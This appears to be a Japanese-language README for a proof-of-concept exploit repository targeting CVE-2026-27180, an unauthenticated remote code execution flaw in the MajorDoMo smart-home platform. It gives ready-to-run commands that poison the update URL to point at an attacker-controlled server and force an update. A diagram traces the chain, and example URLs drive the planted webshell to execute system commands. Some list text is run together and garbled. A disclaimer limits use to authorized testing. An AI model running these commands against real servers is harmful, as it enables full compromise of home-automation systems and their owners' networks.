
CVE-2026-27180の概念実証エクスプロイト。MajorDoMoにおける更新URLポイズニングを介した未認証RCEであり、Webルートにウェブシェルを配信します。
MajorDoMo における更新 URL ポイズニングによる認証不要のリモートコード実行
CWE-494 – 整合性チェックなしでのコードのダウンロード
影響: Web ルートに配置されたウェブシェルによるサーバー完全侵害
認証要件: なし
パッチ: PR #1177
このリポジトリには、スマートホーム自動化ソフトウェア MajorDoMo における重大な認証不要のリモートコード実行脆弱性 CVE-2026-27180 の概念実証エクスプロイトが含まれています。
攻撃者は以下が可能です:
この脆弱性は以下の理由で存在します:
auto_update_settings および force_update モードに認証チェックがないCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccessgit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# pip install は不要 – 標準ライブラリ + argparse のみを使用
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2px
悪意のあるサーバーを起動します:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
サーバー起動後、ターゲットに対して以下のコマンドを実行します:
# 1. 更新ソースをポイズニング
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. 強制更新をトリガー
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
10〜90 秒待ってから、ウェブシェルをテストします:
# 例:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
このコードは、教育目的、許可されたセキュリティテスト、およびレッドチーム活動のためにのみ提供されています。
MIT ライセンス
Copyright © 2026 Mohammed Idrees Banyamer
以下に定める条件に従い、本ソフトウェアおよび関連文書ファイル(以下「ソフトウェア」)の複製物を取得するすべての人に対し、ソフトウェアを無制限に扱うことを無償で許可します。これには、ソフトウェアの複製、複製物の変更、結合、公開、配布、サブライセンス、および/または販売の権利、およびソフトウェアを提供された者にこれらの行為を許可する権利が、以下の条件に従うことを条件として含まれます。
上記の著作権表示およびこの許可表示は、ソフトウェアのすべての複製物または重要な部分に含まれるものとします。
ソフトウェアは「現状のまま」提供され、明示的か黙示的かを問わず、商品適格性、特定目的への適合性、および非侵害性の保証を含むいかなる保証もありません。いかなる場合も、著者または著作権所有者は、契約行為、不法行為、その他のいずれであっても、ソフトウェアまたはソフトウェアの使用もしくはその他の取扱いから生じる、またはそれに関連して生じるいかなる請求、損害、その他の責任も負いません。